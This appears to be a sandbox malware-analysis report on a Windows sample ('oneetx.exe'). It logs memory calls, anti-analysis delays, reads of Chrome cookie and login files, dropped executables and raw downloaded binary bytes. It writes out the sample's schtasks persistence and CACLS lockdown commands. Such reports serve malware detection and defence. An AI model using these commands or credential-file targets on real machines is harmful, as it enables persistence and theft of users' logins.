NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72df1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 262144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72de2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02450000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02550000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d12000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726bb000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726d1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x726d2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 1572864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02700000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00822000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02551000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02552000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0082a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0082c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73271000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02553000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0229c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02554000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x715ea000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04cd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7325f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 28672 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04cd1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04cd8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x022a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04cd9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 131072 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002f0000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2936 region_size: 184320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2980 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73741000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2980 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72d81000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2980 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73261000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2980 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72ca1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2980 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 28, 2023, 9:04 a.m.	process_identifier: 2980 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72bd4000 process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

oneetx.exe tried to sleep 142 seconds, actually delayed analysis time by 142 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (16 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252740 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252740 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252456 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252456 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252199 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252199 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252037 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3252037 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3251085 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3251085 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3250906 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3250906 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3250379 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3250379 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3250214 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW April 28, 2023, 9:04 a.m.	number_of_free_clusters: 3250214 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (6 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State

Creates executable files on the filesystem (20 events)

file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\125298223.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\260604685.exe
file	C:\Users\test22\AppData\Local\Temp\IXP004.TMP\kp833867.exe
file	C:\Users\test22\AppData\Local\Temp\IXP004.TMP\80954164.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\03413863.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\476586955.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\1000007051\foto0174.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\tn822860.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\lr828472.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\389830422.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\un044733.exe
file	C:\Users\test22\AppData\Local\Temp\IXP003.TMP\st567195.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\si887271.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\rk873095.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\Mu503333.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\wa363839.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\594526377.exe
file	C:\Users\test22\AppData\Local\Temp\1000008051\foto34.exe

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "test22:N"&&CACLS "..\cb7ae701b3" /P "test22:R" /E&&Exit

Drops a binary and executes it (3 events)

file	C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe
file	C:\Users\test22\AppData\Local\Temp\1000007051\foto0174.exe
file	C:\Users\test22\AppData\Local\Temp\1000008051\foto34.exe

Drops an executable to the user AppData folder (6 events)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\wa363839.exe
file	C:\Users\test22\AppData\Local\Temp\1000007051\foto0174.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\594526377.exe
file	C:\Users\test22\AppData\Local\Temp\1000008051\foto34.exe
file	C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe
file	C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
ShellExecuteExW April 28, 2023, 9:04 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe	1	1
ShellExecuteExW April 28, 2023, 9:04 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW April 28, 2023, 9:04 a.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\cb7ae701b3" /P "test22:N"&&CACLS "..\cb7ae701b3" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW April 28, 2023, 9:04 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000007051\foto0174.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000007051\foto0174.exe	1	1
ShellExecuteExW April 28, 2023, 9:04 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000008051\foto34.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000008051\foto34.exe	1	1
ShellExecuteExW April 28, 2023, 9:05 a.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process oneetx.exe (3 events)

Time & API	Arguments	Status	Return
InternetReadFile April 28, 2023, 9:04 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $è'¾g¬FÐ4¬FÐ4¬FÐ4ÁÕ5FÐ4ÁÓ5®FÐ4ÁÔ5¸FÐ4ÁÑ5½FÐ4¬FÑ43FÐ4ÁØ5¥FÐ4Á/4FÐ4ÁÒ5FÐ4Rich¬FÐ4PELòWàfô Ðk@ °ì#@Á ¢´ÀÕ ð8@ .textef `.dataHj@À.idatan l@@.rsrcà ÀÖ ~@@.reloc T@B@P@@0@¢@¤@5k@Àj@p@À1@1`24 5B JðJpKLpL`MM MPP@ddPhÀjkÐk n@pppqt0tadvapi32.dllCheckTokenMembership" .INF[]RebootAdvancedINFVersionsetupx.dllsetupapi.dll.BATSeShutdownPrivilegeadvpack.dllDelNodeRunDLL32...wininit.ini%luSoftware\Microsoft\Windows\CurrentVersion\App Paths\Kernel32.dllHeapSetInformationTITLEEXTRACTOPTINSTANCECHECKVERCHECKDecryptFileALICENSE<None>REBOOTSHOWWINDOWADMQCMDUSRQCMDRUNPROGRAMPOSTRUNPROGRAMFINISHMSGLoadString() Error. Could not load string resource.CABINETFILESIZESPACKINSTSPACEUPROMPTIXP%03d.TMPIXPi386mipsalphappcA:\msdownld.tmpTMP4351$.TMPRegServerUPDFILE%luControl Panel\Desktop\ResourceLocaleòW%44òW Ü\\tRSDSwb6ï²&¬KªÆD[Ówextract.pdbGCTL.rdata$brc.CRT$XCA.CRT$XCAA.CRT$XCZ.CRT$XIA.CRT$XIAA.CRT$XIY .CRT$XIZ¤\|.cfguard .rdata0.rdata$sxdata4.rdata$zzzdbg@x^.text$mn¸td.xdata$xà.dataàh.bss .idata$5¢.00cfg¢ .idata$20£.idata$3D£.idata$4Ð¥ .idata$6À.rsrc$01Ä¨.rsrc$02ÿUì3ÀÒtúÿÿÿv¸WÀxQÿuQèãëÒtÆ]ÂÌÌÌÌÌÿUìS3ÀÙVðÒtúÿÿÿv¾Wöx:ÊðWûÒt8tGéuöÉtÂ+Áë¾W_öxQÿu+ÐQèwðÆ^[]ÂÌÌÌÌÌÿUìEV3öÀt=ÿÿÿv¾Wöx5S]3öWxÿEPÿuWSÿ\|¢@ÄÀx;Çwuë¾zÆ_[ë ÀtMÆÆ^]ÃÌÌÌÌÌÿUìW3ÿÒt&ESV¾þÿÿ+ÁötÛt ANêuì^[ÒuI¿zÇÆ_]ÂÌÌÌÌÌÿUì9MrEº+Á;Âw+M ë3À]ÂÌÌÌÌÌÿUìì¡@3ÅEüSVW3ÀfÇEøñEôh$@uèØÿx @øÿtjh4@Wÿ @EðÀtP3ÉEìPQQQQQQh j jEôPCÿ$ @ÀtMðôÿuèÿuìjÿ¢@ÿUð;ôt¹Í)ÿuìÿ @Wÿ¬ @MüÃ_^3Í[è¯Uå]ÃÌÌÌÌÌÿUìì¡@3ÅEü¡(@SWj3ÛfÇEø_]ô]ð;ÇôMðèÿÿÿÀÓEèPjÿ¡@Pÿ @ÀÉEìPSSWÿuèÿ @Àÿl @øzVÿuìSÿP¡@ðötqEìPÿuìVWÿuèÿ @ÀtTEäPSSSSSSh j WEôPÿ$ @Àt49v'~ÿuäÿ7ÿ, @Àu CÇ;réë3À@£(@Eðÿuäÿ @Vÿ¤ @^ÿuèÿ @EðëEðÀt Ç(@Mü_3Í[ètTå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÿUìì¡@3ÅEüEVu-t!èuUÃ÷ÿÿùw RVÿà¡@ëP3ÀëOÿÌ¡@ÐÎè×)hüýÿÿÆüýÿÿPÿuÿ5<@ÿè¡@üýÿÿPh?VÿÔ¡@jÿÿÜ¡@3À@Mü3Í^èÂSå]ÂÌÌÌÌÌÿUìQSÁÚVWEü3ÿ0ë>tFf¾ËèÌLÀuëEüf¾0ë3Àë#<7tGf¾7Ëè¦LÀté78tÆ@_^[å]ÃÌÌÌÌÌÿUìì¡@3ÅEüEºSVÙèùÿÿEôýÿÿWSìùÿÿè6ûÿÿ½ôýÿÿ"ðùÿÿu õýÿÿºL@ëôýÿÿºP@ðùÿÿè(ÿÿÿµðùÿÿøöt<ÎQAÀuù+Êùr)F<:u~\t >\u<\uVºøþÿÿè¾úÿÿë(Qhä@Qºøþÿÿè®ûÿÿVºøþÿÿè¨Jj.ZÎèôKÀ¦jÿhT@jÿPjjÿh @HèøþÿÿPÿp @øÿRÁè÷Ðà request_handle: 0x00cc000c	1	1
InternetReadFile April 28, 2023, 9:04 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $è'¾g¬FÐ4¬FÐ4¬FÐ4ÁÕ5FÐ4ÁÓ5®FÐ4ÁÔ5¸FÐ4ÁÑ5½FÐ4¬FÑ43FÐ4ÁØ5¥FÐ4Á/4FÐ4ÁÒ5FÐ4Rich¬FÐ4PELòWàf Ðk@ Ð Ïë @Á ¢´Àý À ð8@ .textef `.dataHj@À.idatan l@@.rsrc Àþ ~@@.relocÀ \| @B@P@@0@¢@¤@5k@Àj@p@À1@1`24 5B JðJpKLpL`MM MPP@ddPhÀjkÐk n@pppqt0tadvapi32.dllCheckTokenMembership" .INF[]RebootAdvancedINFVersionsetupx.dllsetupapi.dll.BATSeShutdownPrivilegeadvpack.dllDelNodeRunDLL32...wininit.ini%luSoftware\Microsoft\Windows\CurrentVersion\App Paths\Kernel32.dllHeapSetInformationTITLEEXTRACTOPTINSTANCECHECKVERCHECKDecryptFileALICENSE<None>REBOOTSHOWWINDOWADMQCMDUSRQCMDRUNPROGRAMPOSTRUNPROGRAMFINISHMSGLoadString() Error. Could not load string resource.CABINETFILESIZESPACKINSTSPACEUPROMPTIXP%03d.TMPIXPi386mipsalphappcA:\msdownld.tmpTMP4351$.TMPRegServerUPDFILE%luControl Panel\Desktop\ResourceLocaleòW%44òW Ü\\tRSDSwb6ï²&¬KªÆD[Ówextract.pdbGCTL.rdata$brc.CRT$XCA.CRT$XCAA.CRT$XCZ.CRT$XIA.CRT$XIAA.CRT$XIY .CRT$XIZ¤\|.cfguard .rdata0.rdata$sxdata4.rdata$zzzdbg@x^.text$mn¸td.xdata$xà.dataàh.bss .idata$5¢.00cfg¢ .idata$20£.idata$3D£.idata$4Ð¥ .idata$6À.rsrc$01Ä¨.rsrc$02ÿUì3ÀÒtúÿÿÿv¸WÀxQÿuQèãëÒtÆ]ÂÌÌÌÌÌÿUìS3ÀÙVðÒtúÿÿÿv¾Wöx:ÊðWûÒt8tGéuöÉtÂ+Áë¾W_öxQÿu+ÐQèwðÆ^[]ÂÌÌÌÌÌÿUìEV3öÀt=ÿÿÿv¾Wöx5S]3öWxÿEPÿuWSÿ\|¢@ÄÀx;Çwuë¾zÆ_[ë ÀtMÆÆ^]ÃÌÌÌÌÌÿUìW3ÿÒt&ESV¾þÿÿ+ÁötÛt ANêuì^[ÒuI¿zÇÆ_]ÂÌÌÌÌÌÿUì9MrEº+Á;Âw+M ë3À]ÂÌÌÌÌÌÿUìì¡@3ÅEüSVW3ÀfÇEøñEôh$@uèØÿx @øÿtjh4@Wÿ @EðÀtP3ÉEìPQQQQQQh j jEôPCÿ$ @ÀtMðôÿuèÿuìjÿ¢@ÿUð;ôt¹Í)ÿuìÿ @Wÿ¬ @MüÃ_^3Í[è¯Uå]ÃÌÌÌÌÌÿUìì¡@3ÅEü¡(@SWj3ÛfÇEø_]ô]ð;ÇôMðèÿÿÿÀÓEèPjÿ¡@Pÿ @ÀÉEìPSSWÿuèÿ @Àÿl @øzVÿuìSÿP¡@ðötqEìPÿuìVWÿuèÿ @ÀtTEäPSSSSSSh j WEôPÿ$ @Àt49v'~ÿuäÿ7ÿ, @Àu CÇ;réë3À@£(@Eðÿuäÿ @Vÿ¤ @^ÿuèÿ @EðëEðÀt Ç(@Mü_3Í[ètTå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÿUìì¡@3ÅEüEVu-t!èuUÃ÷ÿÿùw RVÿà¡@ëP3ÀëOÿÌ¡@ÐÎè×)hüýÿÿÆüýÿÿPÿuÿ5<@ÿè¡@üýÿÿPh?VÿÔ¡@jÿÿÜ¡@3À@Mü3Í^èÂSå]ÂÌÌÌÌÌÿUìQSÁÚVWEü3ÿ0ë>tFf¾ËèÌLÀuëEüf¾0ë3Àë#<7tGf¾7Ëè¦LÀté78tÆ@_^[å]ÃÌÌÌÌÌÿUìì¡@3ÅEüEºSVÙèùÿÿEôýÿÿWSìùÿÿè6ûÿÿ½ôýÿÿ"ðùÿÿu 